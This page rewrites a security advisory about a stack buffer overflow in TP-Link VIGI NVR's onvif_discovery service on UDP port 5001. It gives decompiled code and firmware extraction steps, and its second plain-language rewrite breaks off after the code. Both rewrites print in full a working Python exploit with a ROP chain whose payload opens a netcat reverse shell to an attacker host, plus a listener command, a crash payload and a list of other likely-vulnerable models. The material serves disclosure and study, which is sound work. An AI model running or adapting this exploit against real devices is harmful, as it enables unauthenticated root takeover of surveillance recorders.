Skip to content
Memory corruption Write-up Advanced

SSD Advisory: TP-LINK VIGI onvif_discovery Overflow

A stack-based buffer overflow in the onvif_discovery binary listening on UDP port 5001 allows a network-adjacent attacker to execute arbitrary code as root without authentication.

ssd-disclosure.com

Published on ssd-disclosure.com

A buffer overflow in the onvifdiscovery binary located at /bin/onvifdiscovery which listens on UDP port 5001. This vulnerability can be leveraged by a network-adjacent attacker to execute arbitrary code on the target as root.

SSD Secure Disclosure technical team, on ssd-disclosure.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

TP-Link's VIGI line of network video recorders runs a binary at /bin/onvif_discovery that listens on UDP port 5001. The binary listens on UDP port 5001: it receives datagrams, validates a header, and parses the discovery frame inside. The advisory covers a stack-based buffer overflow in that parsing path, reachable by anyone who can send a UDP packet to port 5001. No authentication is required.

The affected version named in the advisory is VIGI NVR4032H(UN)_V1_1.0.1 Build 230628. The researcher, n4nika, worked with SSD Secure Disclosure, and the exploit was developed against an emulated copy of that firmware.

Setup

The analysis starts from the public firmware download. The advisory gives the download link and the SHA-256 of the archive:

Text
https://static.tp-link.com/upload/firmware/2023/202308/20230816/NVR4032H(UN)_V1.0_230628.zip
Bash
sha256sum NVR4032H(UN)_V1.0_230628.zip
Text
[redacted]

Unzip and enter the directory:

Bash
unzip NVR4032H(UN)_V1.0_230628.zip
cd NVR4032H(UN)_V1.0_230628

Extract the signed boot image with binwalk:

Bash
binwalk -e [redacted]-signed.bin
cd [redacted]-signed.bin.extracted

After that, squashfs-root is in the current directory. The binary of interest is /bin/onvif_discovery.

Finding it

The root cause is a memory copy of user-controlled input from a receive buffer of size 0x5c0 into a stack buffer of size 576, where the length of the copy is also derived from user-controlled data. The receive buffer is large enough to hold a full datagram; the destination on the stack is not, and the calculated size is not bounds-checked before the copy.

Exploitation

The path from the socket to the overflow runs through four functions.

Step 1: receive the datagram

The binary starts a thread with start_ipcd_thread, which waits on epoll_wait and reads from the socket bound to UDP port 5001 into recv_buffer with a maximum of 0x5c0 bytes:

Text
  // [ ... ]
  iVar3 = epoll_wait(uVar7, (epoll_event * )(sigaction * ) & local_78, 5, -1);
  psVar9 = (sigaction * ) & local_78;
  for (local_bc = 0; local_bc < iVar3; local_bc = local_bc + 1) {
    if (((int)(psVar9 -> __sigaction_handler).sa_handler << 0x1f < 0) &&
      ((psVar9 -> sa_mask).__val[1] == __fd)) {
      /* receives from port 5001 */
      sVar4 = recvfrom(__fd, & recv_buffer, 0x5c0, 0, & address, & addrlen);
      if (sVar4 != -1) {
        iVar10 = checks_validity_later(__fd, & recv_buffer, & address);
        if (iVar10 == 0) goto LAB_00012eaa;
        printf("[%s:%d]: error, ret = %d\n", "start_ipcd_thread", 0x113, iVar10);
      }
    }
    // [ ... ]

Step 2: header validation

The received buffer is passed to checks_validity_later, which calls check_hdr_validity with a length of 3 and requires the byte at offset 1 to be \x02 before handing the buffer to parse_discovery_frame:

Text
undefined4 checks_validity_later(undefined4 param_1, int recv_buffer, int address) {
    // [ ... ]
    if ((recv_buffer != 0) && (address != 0)) {
      iVar1 = check_hdr_validity(recv_buffer, 3);
      if (iVar1 == 0) {
        if ( * (char * )(recv_buffer + 1) != '\x02') {
          return 0;
        }
        iVar1 = parse_discovery_frame(recv_buffer, 0);
        // [ ... ]
      }

Step 3: allocate the stack buffer and compute a length

parse_discovery_frame declares char smaller_buffer[576] on the stack, zeroes 0x240 bytes of it, and calls possibly_overflow. The length argument is built from the two bytes at offset 10 of the received buffer, byte-swapped:

Text
undefined4 parse_discovery_frame(int recv_buffer, int flag_) {
  // [ ... ]
  undefined auStack_264[20];
  char smaller_buffer[576];

  if (recv_buffer == 0) {
    printf("[%s:%d]: invalid argument, ph = NULL\n", "parse_discovery_frame", 0x3a9);
    return 0;
  }
  memset(smaller_buffer, 0, 0x240);
  iVar1 = possibly_overflow(recv_buffer + 0xe, ( * (ushort * )(recv_buffer + 10) & 0xff) << 8 | (uint)( * (ushort * )(recv_buffer + 10) >> 8), 5, smaller_buffer);
  // [ ... ]
}

Step 4: walk the records

possibly_overflow iterates over the buffer while the remaining length is positive, reading a type from the current record and a size from the two bytes at offset 2 of the record. When the type matches param_3 (5 in this call), it calls possibly_overflow_direct with the record pointer, a destination offset of iVar3 * 0x12 + smaller_buffer, and the record size. The loop advances by the record size plus 4. There is no check that the accumulated destination offset stays inside the 576-byte buffer:

Text
int possibly_overflow(int recv_buffer, uint calced_recv_buf_size, uint param_3, int smaller_buffer) {
    // [ ... ]

    if (((recv_buffer == 0) || (calced_recv_buf_size < 4)) || (smaller_buffer == 0)) {
      iVar1 = -1;
    } else {
      iVar1 = 0;
      iVar3 = 0;
      iVar2 = 0;
      recv_buffer_1 = recv_buffer;
      uVar4 = calced_recv_buf_size;
      uVar5 = param_3;
      for (; 0 < (int) calced_recv_buf_size; calced_recv_buf_size = (calced_recv_buf_size - some_size) - 4) {
        recv_buffer_2 = recv_buffer + iVar2;
        some_size = ( * (ushort * )(recv_buffer_2 + 2) & 0xff) << 8 | (uint)( * (ushort * )(recv_buffer_2 + 2) >> 8);
        if (param_3 == (( * (ushort * )(recv_buffer + iVar2) & 0xff) << 8 | (uint)( * (ushort * )(recv_buffer + iVar2) >> 8))) {
          switch (param_3) {
          case 5:
            if ((0x1f < iVar3) || (iVar1 = possibly_overflow_direct(recv_buffer_2, iVar3 * 0x12 + smaller_buffer, some_size, iVar1, recv_buffer_1, some_size, uVar5), iVar1 != 0)) iVar1 = -1;
            iVar3 = iVar3 + 1;
            iVar1 = 1;
            uVar4 = some_size;
            break;
            // [ ... ]
          }

Step 5: the copy

possibly_overflow_direct performs the memcpy from the record body (record pointer plus 4) into the stack buffer, using the record size as the length. That size comes straight from the packet, so the copy can run past the end of smaller_buffer and overwrite the saved return address and adjacent stack data:

Text
undefined4 possibly_overflow_direct(int recv_buffer, void * smaller_buffer, size_t some_size) {
  undefined4 uVar1;

  if (((recv_buffer == 0) || (smaller_buffer == (void * ) 0x0)) || ((int) some_size < 0)) {
    uVar1 = 0xffffffff;
  } else {
    memcpy(smaller_buffer, (void * )(recv_buffer + 4), some_size);
    uVar1 = 0;
  }
  return uVar1;
}

Step 6: the exploit

The advisory's exploit was developed against an emulated VIGI NVR4032H(UN)_V1_1.0.1 Build 230628. The author notes that with minor modifications it should work on other VIGI NVR devices, and that the offsets may need adjusting. The script builds a packet with a valid header and checksum, places a ROP chain in the payload, and sends it to UDP port 5001. Before running it, set TARGET_IP and ATTACKER to the appropriate IPs and start a listener with nc -lvp 4444, making sure the firewall does not block the reverse shell.

The script comments list the devices it was tested on and those it considers likely exploitable because the binary is very similar:

  • Tested in an emulated environment: VIGI NVR4032H(UN)_V1_1.0.1 Build 230628
  • Untested but very likely exploitable: VIGI NVR1016H(UN)_V1.20_1.0.2 Build 230531, VIGI NVR1008H-8MP(UN)_V1.20_1.0.0 Build 231023, VIGI NVR1008H(UN)_V2.20_1.0.0 Build 230831, VIGI NVR1104H-4P(UN)_V1_1.0.2 Build 230530, VIGI NVR1004H-4P(UN)_V1_1.0.2 Build 230530, VIGI NVR2016H-16MP(UN)_V1_1.0.1 Build 231017
  • Possibly exploitable on all VIGI NVR devices manufactured by TP-Link

To only crash the target, which the author says should work on most TP-Link VIGI NVR devices, swap in the commented-out payload b"\xff" * 700.

Python
from pwn import *
import socket

# Exploit for Remote Code Execution on
#
# Vulnerable devices:
#   Tested and exploited in emulated environment:
#     VIGI NVR4032H(UN)_V1_1.0.1 Build 230628
#
#   Untested but very likely to be exploitable due to very similar binary:
#     VIGI NVR1016H(UN)_V1.20_1.0.2 Build 230531
#     VIGI NVR1008H-8MP(UN)_V1.20_1.0.0 Build 231023
#     VIGI NVR1008H(UN)_V2.20_1.0.0 Build 230831
#     VIGI NVR1104H-4P(UN)_V1_1.0.2 Build 230530
#     VIGI NVR1004H-4P(UN)_V1_1.0.2 Build 230530
#     VIGI NVR2016H-16MP(UN)_V1_1.0.1 Build 231017
#
#   Possibly exploitable on all VIGI NVR devices manufactured by TP-Link
#
# With some minor adjustment such as offsets, this exploit is very likely to work on all the above listed devices.
#
# In order to just crash the target which should work on most TP-Link VIGI NVR devices,
# just exchange the payload to the one commented out
#

def calc_checksum(packet):
    if len(packet) % 2 != 0:
        packet += b"\x00"

    checksum = 0

    for i in range(0, len(packet), 2):
        word = (packet[i] << 8) + packet[i + 1]
        checksum += word

        if checksum & 0xFFFF0000:
            checksum = (checksum & 0xFFFF) + 1

    checksum = ~checksum & 0xFFFF

    checksum_bytes = checksum.to_bytes(2, byteorder="big")
    return checksum_bytes

def gen_ropchain(path, argv):
    chain_addr = 0x3F860
    chain = b"/bin/sh".ljust(12, b"\x00")

    chain += p32(chain_addr + 12 + 4 * 4)
    chain += p32(chain_addr + 12 + 4 * 5)
    chain += p32(chain_addr + 12 + 4 * 6)
    chain += p32(0x00)
    chain += argv[0].ljust(4, "\x00").encode()
    chain += argv[1].ljust(4, "\x00").encode()
    chain += (argv[2] + "\x00").encode()

    chain = chain.ljust(588, b"\x00")

    chain += p32(0x0001E5AD)
    chain += p32(chain_addr)  # r0
    chain += p32(chain_addr + 12)  # r1
    chain += p32(0x00)  # r2
    chain += p32(0xDEADBEEF) * 2  # r3, r4
    chain += p32(11)  # r7 -> SYS_exeve
    chain += p32(0x00028660)  # svcge -> syscall

    return chain

def build_packet(payload):

    packet_headers = b"\x01\x02\x0e\x00" + p32(-0x387CD41F, signed=True)

    tmp_length = len(payload).to_bytes(2, byteorder="big")
    full_payload = b"\x00\x05" + tmp_length + payload
    payload_size = len(full_payload).to_bytes(2, byteorder="big")

    checksum = calc_checksum(
        packet_headers + p16(0) + payload_size + p16(0) + full_payload
    )
    packet = packet_headers + checksum + payload_size + p16(0) + full_payload
    return packet

TARGET_IP = "[redacted]"
ATTACKER = "[redacted]"

# payload = b"\xff" * 700
payload = gen_ropchain(
    "/bin/sh",
    [
        "sh",
        "-c",
        f"mknod /tmp/a p; nc {ATTACKER} 4444 0</tmp/a | /bin/sh 1>/tmp/a 2>&1;",
    ],
)

packet = build_packet(payload)

target_info = (TARGET_IP, 5001)
assert len(packet) < 0x40B

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

sock.sendto(packet, target_info)

What the pieces do:

  1. calc_checksum pads the packet to an even length, sums 16-bit big-endian words with end-around carry, and returns the one's complement as two big-endian bytes.
  2. gen_ropchain places /bin/sh and the argv pointers at chain_addr = 0x3F860, pads to 588 bytes, then writes the return address 0x0001E5AD and the register setup: r0 points at the command string, r1 at the argv array, r2 is zero, r7 holds 11 for the execve syscall number, and 0x00028660 is the syscall instruction.
  3. build_packet assembles the header \x01\x02\x0e\x00 plus a fixed value, the checksum, the payload size, and the payload, which begins with type \x00\x05 and a two-byte length followed by the ROP chain.
  4. The final block sends the datagram to port 5001. The script asserts len(packet) < 0x40B before sending.

The payload runs mknod /tmp/a p; nc <ATTACKER> 4444 0</tmp/a | /bin/sh 1>/tmp/a 2>&1;, which creates a FIFO and connects back to the attacker's listener with a shell.

Root cause

The receive path trusts two length fields from the packet. The two bytes at offset 10 of the datagram set the total length passed to possibly_overflow, and the two bytes at offset 2 of each record set the memcpy length in possibly_overflow_direct. The destination is a fixed 576-byte stack buffer, and neither the record count nor the accumulated offset is checked against that size. The only guard is 0x1f < iVar3, which limits the number of records but not the size of each copy. Because the copy length is attacker-controlled, a single oversized record overwrites the stack, including the saved return address, which the exploit replaces with a ROP chain. The advisory does not describe any stack canary or other mitigation in the binary.

Impact

A network-adjacent attacker who can reach UDP port 5001 can execute arbitrary code on the device as root, without authentication. The advisory frames the attack as network-adjacent, so the attacker needs a position from which the discovery port is reachable. The exploit was demonstrated on an emulated NVR4032H; the author expects the same technique to work on the other listed VIGI NVR models with minor offset adjustments, but those were not tested.

Fix

TP-Link released VIGI NVR4032H(UN)_V1_1.0.5 Build 240424, available from the vendor's download page for the NVR4032H. The advisory does not describe the code change itself.

Variants to test

  1. Send a datagram with a record type of 5 and a record size larger than 576 to port 5001 on another VIGI NVR model. A crash or a controlled return address indicates the same overflow.
  2. Vary the two bytes at offset 10 to change the total length passed to possibly_overflow. If the device processes records beyond the real datagram length, the length handling is equally unchecked.
  3. Send many small type-5 records instead of one large one. If the accumulated iVar3 * 0x12 offset walks past the buffer, the per-record bound is missing as well.
  4. Try the commented-out b"\xff" * 700 payload against each listed model. A crash confirms reachability of the copy; a clean response suggests different parsing or a patched build.
  5. Compare the onvif_discovery binary from each firmware version against the NVR4032H build. Identical or near-identical code around parse_discovery_frame and possibly_overflow_direct supports the author's expectation that the same offsets apply.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 22 min read.

What happened, in plain words

TP-Link makes a family of video recorders called VIGI. These are the boxes that sit in a small office or shop and record the feeds from security cameras. One of the programs running on such a box is called onvif_discovery. It listens for messages on UDP port 5001. It listens on a numbered channel (a "port") called UDP port 5001.

A security researcher named n4nika, working with SSD Secure Disclosure, found that this program can be made to write more data into a small reserved area of memory than that area can hold. In computing this is called a buffer overflow. When the extra data spills over, it lands on top of the saved return address and neighbouring stack data, and an attacker who crafts the message carefully can replace the return address with their own. The result: the attacker can run any command they like on the recorder, with the highest level of permission on the device (called root), and they do not need any password or login to do it. They only need to be able to send a network message to port 5001.

The affected version named in the advisory is VIGI NVR4032H(UN)_V1_1.0.1 Build 230628. TP-Link has since released a fixed version, VIGI NVR4032H(UN)_V1_1.0.5 Build 240424, available from the vendor's download page for the NVR4032H.

Or watch on YouTube
Blue0 1 From the original on ssd-disclosure.com

Some background before we start

A few ideas come up again and again below, so here they are in everyday terms.

  • Firmware is the software baked into a device, like the operating system and programs inside a recorder. Vendors publish firmware as a downloadable file so that owners can update their devices.
  • A binary is a compiled program: the file the device actually runs. /bin/onvif_discovery is the path (the address inside the device's file system) of the program we are looking at.
  • UDP is one of the two common ways computers send short messages over a network (the other is TCP). Think of UDP as dropping a postcard through a letterbox: you write an address, drop it in, and you do not get a confirmation that it arrived. A port is like the number of the letterbox on that address. Port 5001 is the letterbox this program watches.
  • A buffer is a reserved patch of memory, like a fixed-size tray on a desk. You can put things in it, but if you put in more than it holds, the extra spills onto whatever is next to it on the desk.
  • A stack buffer is a buffer placed in a special region of memory called the stack, which the program uses to keep track of what it is doing: which function called which, and where to return when a function finishes. Spilling past a stack buffer can overwrite the note that says "return here next", which is exactly what makes this class of bug so dangerous.
  • A buffer overflow is the situation where a program copies more data into a buffer than it can hold. It is one of the oldest and most serious kinds of software bug.
  • Authentication means proving who you are, usually with a username and password. This bug needs none: anyone who can reach the port can try it.
  • Network-adjacent means the attacker is not necessarily on the internet at large, but is somewhere on the network path that can reach the device, for example on the same local network or on a network the device is connected to.
  • Root is the all-powerful account on a Linux-style device. A program running as root can do anything: read files, change settings, install other programs.
  • Emulated means the researcher ran a copy of the device's software inside a simulation on a normal computer, rather than on a physical recorder.

Getting the software to look at

The first step in this kind of research is to obtain the firmware, the software package the vendor publishes for updates, and unpack it so you can look at the programs inside. The advisory gives the download link and a fingerprint of the file so you can check you got exactly the same file the researcher used.

Text
https://static.tp-link.com/upload/firmware/2023/202308/20230816/NVR4032H(UN)_V1.0_230628.zip

This is the address of the firmware archive on TP-Link's download server. The numbers in the path are dates (2023, month 08, day 16), which is simply how the vendor organises its files.

Bash
sha256sum NVR4032H(UN)_V1.0_230628.zip

sha256sum is a command that reads a file and prints a long string of letters and digits, called a hash. A hash works like a fingerprint: if even one byte of the file changes, the fingerprint changes completely. Running it lets you confirm your download is identical to the one the researcher analysed, and was not corrupted or tampered with on the way.

Text
[redacted]

This is the fingerprint the advisory publishes for the archive. If your own sha256sum output matches this line, you have the right file.

Bash
unzip NVR4032H(UN)_V1.0_230628.zip
cd NVR4032H(UN)_V1.0_230628

unzip unpacks the archive, the same way double-clicking a zip file does on a desktop. cd then moves you into the folder that was just created, so the next commands work on the files inside it.

Bash
binwalk -e [redacted]-signed.bin
cd [redacted]-signed.bin.extracted

Inside the zip is a single large file ending in .bin. This is the firmware image: a container that holds several smaller file systems stacked inside each other, the way a set of nested boxes works. binwalk is a tool that looks inside such containers and pulls out what it finds; the -e option tells it to extract everything it recognises. The second command moves into the folder binwalk created for the extracted contents.

After that, a folder called squashfs-root sits in the current directory. Squashfs is a compressed file system format commonly used on embedded devices, and squashfs-root is the root of the device's file system as it would appear on the real hardware. The program we care about is /bin/onvif_discovery inside it.

What is wrong, in one sentence

The program receives a network message into a receiving buffer, reading at most 0x5c0 bytes (1472 in ordinary decimal). It then copies part of that message into a second buffer of 576 bytes that lives on the stack. The length of the copy is taken from the message itself, and nothing checks that it fits in 576 bytes. So the sender decides how much gets copied, and can make it far too much.

Following the message through the program

The path from the network to the overflow passes through four functions. A function is a named block of code that does one job; one function calls another, and so on. Reading them in order is like following a parcel through a sorting office.

Step 1: receive the message

The program starts a thread (a lightweight sub-program that runs alongside the main one) using a function called start_ipcd_thread. That thread waits for incoming messages and reads them from the socket bound to UDP port 5001 into a buffer called recv_buffer, accepting at most 0x5c0 bytes:

Text
  // [ ... ]
  iVar3 = epoll_wait(uVar7, (epoll_event * )(sigaction * ) & local_78, 5, -1);
  psVar9 = (sigaction * ) & local_78;
  for (local_bc = 0; local_bc < iVar3; local_bc = local_bc + 1) {
    if (((int)(psVar9 -> __sigaction_handler).sa_handler << 0x1f < 0) &&
      ((psVar9 -> sa_mask).__val[1] == __fd)) {
      /* receives from port 5001 */
      sVar4 = recvfrom(__fd, & recv_buffer, 0x5c0, 0, & address, & addrlen);
      if (sVar4 != -1) {
        iVar10 = checks_validity_later(__fd, & recv_buffer, & address);
        if (iVar10 == 0) goto LAB_00012eaa;
        printf("[%s:%d]: error, ret = %d\n", "start_ipcd_thread", 0x113, iVar10);
      }
    }
    // [ ... ]

Line by line:

  1. epoll_wait is a way for a program to wait until one of several things it is watching becomes ready, without burning CPU in a busy loop. Here it waits for network activity. The -1 means "wait indefinitely".
  2. The for loop walks through the list of things that became ready, one at a time.
  3. The if checks whether the ready item is the network socket the program cares about (the comparison against __fd, the socket's internal handle).
  4. recvfrom is the actual read: it takes the incoming datagram and stores it in recv_buffer, with 0x5c0 as the maximum number of bytes it will accept. It also records the sender's address. The return value sVar4 is the number of bytes received, or -1 on error.
  5. If the read succeeded, the buffer is handed to checks_validity_later for inspection. If that function reports an error, a message is printed.

Why this matters: the receiving buffer is deliberately large enough for a full datagram. The problem is not here; it is what happens to the contents later.

Step 2: check the header

A header is the first few bytes of a message, like the address block on an envelope. It tells the program what kind of message this is and how the rest should be read. checks_validity_later calls check_hdr_validity with a length of 3 (so the first three bytes are examined) and requires the byte at offset 1 to be \x02 before passing the buffer on to parse_discovery_frame:

Text
undefined4 checks_validity_later(undefined4 param_1, int recv_buffer, int address) {
    // [ ... ]
    if ((recv_buffer != 0) && (address != 0)) {
      iVar1 = check_hdr_validity(recv_buffer, 3);
      if (iVar1 == 0) {
        if ( * (char * )(recv_buffer + 1) != '\x02') {
          return 0;
        }
        iVar1 = parse_discovery_frame(recv_buffer, 0);
        // [ ... ]
      }

Line by line:

  1. The function receives the socket handle, the buffer, and the sender's address.
  2. The first if makes sure neither the buffer nor the address is empty (zero), which would mean something went wrong earlier.
  3. check_hdr_validity(recv_buffer, 3) checks the first three bytes against the expected header format. A return value of 0 means "looks valid".
  4. The inner if reads the byte at position 1 of the buffer and compares it with \x02. If it is not \x02, the function gives up and returns 0. This is a simple type check: only messages of this particular kind are processed further.
  5. If both checks pass, parse_discovery_frame is called with the buffer.

Why this matters: the attacker must send a message that passes these checks. That is easy, because the checks only look at a couple of bytes; they say nothing about how long the message is or whether its contents are sensible.

Step 3: reserve a small buffer and work out a length

parse_discovery_frame declares char smaller_buffer[576] on the stack, zeroes 0x240 bytes of it, and calls possibly_overflow. The length it passes is built from the two bytes at offset 10 of the received message, with the two bytes swapped around (byte order, explained below):

Text
undefined4 parse_discovery_frame(int recv_buffer, int flag_) {
  // [ ... ]
  undefined auStack_264[20];
  char smaller_buffer[576];

  if (recv_buffer == 0) {
    printf("[%s:%d]: invalid argument, ph = NULL\n", "parse_discovery_frame", 0x3a9);
    return 0;
  }
  memset(smaller_buffer, 0, 0x240);
  iVar1 = possibly_overflow(recv_buffer + 0xe, ( * (ushort * )(recv_buffer + 10) & 0xff) << 8 | (uint)( * (ushort * )(recv_buffer + 10) >> 8), 5, smaller_buffer);
  // [ ... ]
}

Line by line:

  1. char smaller_buffer[576] reserves 576 bytes on the stack. This is the tray that is too small for what will be poured into it.
  2. The if rejects an empty buffer, a basic sanity check.
  3. memset(smaller_buffer, 0, 0x240) fills the first 0x240 bytes (576 in decimal) of the buffer with zeros, so it starts clean.
  4. The call to possibly_overflow passes four things: a pointer to the message starting at offset 0xe (14), a length computed from the two bytes at offset 10, the constant 5 (the record type the code is interested in), and the small stack buffer as the destination.

The length expression ( * (ushort * )(recv_buffer + 10) & 0xff) << 8 | (uint)( * (ushort * )(recv_buffer + 10) >> 8) deserves a word. It reads two bytes at offset 10 and swaps them. Computers can store a two-byte number in either order: big-endian (most significant byte first) or little-endian (least significant byte first). Network protocols usually send big-endian, while this processor stores little-endian, so the code swaps the bytes to get the intended number. The important point is that the number comes entirely from the message the attacker sent.

Step 4: walk through the records

A message of this kind is made of records: small chunks, each with a type, a length, and a body. possibly_overflow walks through them while there is length left, reading a type from the current record and a size from the two bytes at offset 2 of the record. When the type matches param_3 (which is 5 in this call), it calls possibly_overflow_direct with the record pointer, a destination offset of iVar3 * 0x12 + smaller_buffer, and the record size. The loop then moves forward by the record size plus 4. Nothing checks that the running destination offset stays inside the 576-byte buffer:

Text
int possibly_overflow(int recv_buffer, uint calced_recv_buf_size, uint param_3, int smaller_buffer) {
    // [ ... ]

    if (((recv_buffer == 0) || (calced_recv_buf_size < 4)) || (smaller_buffer == 0)) {
      iVar1 = -1;
    } else {
      iVar1 = 0;
      iVar3 = 0;
      iVar2 = 0;
      recv_buffer_1 = recv_buffer;
      uVar4 = calced_recv_buf_size;
      uVar5 = param_3;
      for (; 0 < (int) calced_recv_buf_size; calced_recv_buf_size = (calced_recv_buf_size - some_size) - 4) {
        recv_buffer_2 = recv_buffer + iVar2;
        some_size = ( * (ushort * )(recv_buffer_2 + 2) & 0xff) << 8 | (uint)( * (ushort * )(recv_buffer_2 + 2) >> 8);
        if (param_3 == (( * (ushort * )(recv_buffer + iVar2) & 0xff) << 8 | (uint)( * (ushort * )(recv_buffer + iVar2) >> 8))) {
          switch (param_3) {
          case 5:
            if ((0x1f < iVar3) || (iVar1 = possibly_overflow_direct(recv_buffer_2, iVar3 * 0x12 + smaller_buffer, some_size, iVar1, recv_buffer_1, some_size, uVar5), iVar1 != 0)) iVar1 = -1;
            iVar3 = iVar3 + 1;
            iVar1 = 1;
            uVar4 = some_size;
            break;
            // [ ... ]
          }

Line by line:

  1. The first if rejects obviously bad input: no buffer, a length under 4 (too short to hold a record header), or no destination.
  2. Otherwise it sets up counters: iVar3 counts how many matching records have been seen, iVar2 tracks the position in the buffer, and uVar4 holds the remaining length.
  3. The for loop keeps going while there is still length left. After each pass it subtracts the size of the record it just handled plus 4 bytes of record header.
  4. Inside the loop, some_size is read from the two bytes at offset 2 of the current record, again byte-swapped. This is the record's declared length, and it comes from the attacker.
  5. The if compares the record's type (the two bytes at the start of the record) with param_3. Only records of type 5 are processed.
  6. In case 5, the code checks 0x1f < iVar3: if more than 31 records have already been handled, it marks an error. That is the only limit, and it limits the number of records, not the size of any one of them.
  7. possibly_overflow_direct is called with the record pointer, the destination iVar3 * 0x12 + smaller_buffer (each record gets a 0x12-byte slot in the destination), and the record's declared size.
  8. iVar3 is incremented and the loop continues.

Why this matters: the destination offset grows with each record, and the copy length is whatever the record says. Neither is compared against 576.

Step 5: the copy that overflows

possibly_overflow_direct performs the actual memcpy, copying from the record body (record pointer plus 4, skipping the record header) into the stack buffer, using the record size as the length. That size comes straight from the packet, so the copy can run past the end of smaller_buffer and overwrite the saved return address and neighbouring stack data:

Text
undefined4 possibly_overflow_direct(int recv_buffer, void * smaller_buffer, size_t some_size) {
  undefined4 uVar1;

  if (((recv_buffer == 0) || (smaller_buffer == (void * ) 0x0)) || ((int) some_size < 0)) {
    uVar1 = 0xffffffff;
  } else {
    memcpy(smaller_buffer, (void * )(recv_buffer + 4), some_size);
    uVar1 = 0;
  }
  return uVar1;
}

Line by line:

  1. The function receives the record pointer, the destination in the stack buffer, and the size to copy.
  2. The if rejects a null record pointer, a null destination, or a size that is negative when interpreted as a signed number. These are the only guards.
  3. memcpy(smaller_buffer, (void * )(recv_buffer + 4), some_size) is the copy itself: take some_size bytes starting 4 bytes into the record and write them at smaller_buffer. memcpy does exactly what it is told; it has no idea how big the destination is.
  4. The function returns 0 on success.

Why this matters: this is the moment the tray overflows. The saved return address, the note that tells the processor where to go when the function finishes, sits just past the end of the buffer on the stack. Overwriting it lets the attacker choose where the program goes next.

Step 6: the exploit

The advisory's exploit was developed against an emulated VIGI NVR4032H(UN)_V1_1.0.1 Build 230628. The author notes that with minor modifications it should work on other VIGI NVR devices, and that the offsets may need adjusting. The script builds a packet with a valid header and checksum, places a ROP chain in the payload, and sends it to UDP port 5001. Before running it, set TARGET_IP and ATTACKER to the appropriate IPs and start a listener with nc -lvp 4444, making sure the firewall does not block the reverse shell.

A ROP chain (return-oriented programming) is a technique for getting a program to do something it was not written to do, by stringing together small existing snippets of its own code. Instead of writing new instructions into memory (which modern systems often block), the attacker overwrites the return address so that the program jumps to a snippet, which then jumps to another, and so on, like a trail of dominoes. Each snippet ends by returning, which is why the technique is called return-oriented.

A reverse shell is a connection where the compromised device reaches out to the attacker's computer and gives the attacker a command prompt on the device. It is called reverse because the connection goes from the victim to the attacker, which often slips past firewalls that only block incoming connections.

A checksum is a small number computed from the rest of a message and sent alongside it, so the receiver can check the message was not garbled in transit. It is not a security measure; anyone who knows the rule can compute a correct one.

The script comments list the devices it was tested on and those it considers likely exploitable because the binary is very similar:

  • Tested in an emulated environment: VIGI NVR4032H(UN)_V1_1.0.1 Build 230628
  • Untested but very likely exploitable: VIGI NVR1016H(UN)_V1.20_1.0.2 Build 230531, VIGI NVR1008H-8MP(UN)_V1.20_1.0.0 Build 231023, VIGI NVR1008H(UN)_V2.20_1.0.0 Build 230831, VIGI NVR1104H-4P(UN)_V1_1.0.2 Build 230530, VIGI NVR1004H-4P(UN)_V1_1.0.2 Build 230530, VIGI NVR2016H-16MP(UN)_V1_1.0.1 Build 231017
  • Possibly exploitable on all VIGI NVR devices manufactured by TP-Link

To only crash the target, which the author says should work on most TP-Link VIGI NVR devices, swap in the commented-out payload b"\xff" * 700.

Python
from pwn import *
import socket

# Exploit for Remote Code Execution on
#
# Vulnerable devices:
#   Tested and exploited in emulated environment:
#     VIGI NVR4032H(UN)_V1_1.0.1 Build 230628
#
#   Untested but very likely to be exploitable due to very similar binary:
#     VIGI NVR1016H(UN)_V1.20_1.0.2 Build 230531
#     VIGI NVR1008H-8MP(UN)_V1.20_1.0.0 Build 231023
#     VIGI NVR1008H(UN)_V2.20_1.0.0 Build 230831
#     VIGI NVR1104H-4P(UN)_V1_1.0.2 Build 230530
#     VIGI NVR1004H-4P(UN)_V1_1.0.2 Build 230530
#     VIGI NVR2016H-16MP(UN)_V1_1.0.1 Build 231017
#
#   Possibly exploitable on all VIGI NVR devices manufactured by TP-Link
#
# With some minor adjustment such as offsets, this exploit is very likely to work on all the above listed devices.
#
# In order to just crash the target which should work on most TP-Link VIGI NVR devices,
# just exchange the payload to the one commented out
#

def calc_checksum(packet):
    if len(packet) % 2 != 0:
        packet += b"\x00"

    checksum = 0

    for i in range(0, len(packet), 2):
        word = (packet[i] << 8) + packet[i + 1]
        checksum += word

        if checksum & 0xFFFF0000:
            checksum = (checksum & 0xFFFF) + 1

    checksum = ~checksum & 0xFFFF

    checksum_bytes = checksum.to_bytes(2, byteorder="big")
    return checksum_bytes

def gen_ropchain(path, argv):
    chain_addr = 0x3F860
    chain = b"/bin/sh".ljust(12, b"\x00")

    chain += p32(chain_addr + 12 + 4 * 4)
    chain += p32(chain_addr + 12 + 4 * 5)
    chain += p32(chain_addr + 12 + 4 * 6)
    chain += p32(0x00)
    chain += argv[0].ljust(4, "\x00").encode()
    chain += argv[1].ljust(4, "\x00").encode()
    chain += (argv[2] + "\x00").encode()

    chain = chain.ljust(588, b"\x00")

    chain += p32(0x0001E5AD)
    chain += p32(chain_addr)  # r0
    chain += p32(chain_addr + 12)  # r1
    chain += p32(0x00)  # r2
    chain += p32(0xDEADBEEF) * 2  # r3, r4
    chain += p32(11)  # r7 -> SYS_exeve
    chain += p32(0x00028660)  # svcge -> syscall

    return chain

def build_packet(payload):

    packet_headers = b"\x01\x02\x0e\x00" + p32(-0x387CD41F, signed=True)

    tmp_length = len(payload).to_bytes(2, byteorder="big")
    full_payload = b"\x00\x05" + tmp_length + payload
    payload_size = len(full_payload).to_bytes(2, byteorder="big")

    checksum = calc_checksum(
        packet_headers + p16(0) + payload_size + p16(0) + full_payload
    )
    packet = packet_headers + checksum + payload_size + p16(0) + full_payload
    return packet

TARGET_IP = "[redacted]"
ATTACKER = "[redacted]"

# payload = b"\xff" * 700
payload = gen_ropchain(
    "/bin/sh",
    [
        "sh",
        "-c",
        f"mknod /tmp/a p; nc {ATTACKER} 4444 0</tmp/a | /bin/sh 1>/tmp/a 2>&1;",
    ],
)

packet = build_packet(payload)

target_info = (TARGET_IP, 5001)
assert len(packet) < 0x40B

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

sock.sendto(packet, target_info)

What the pieces do:

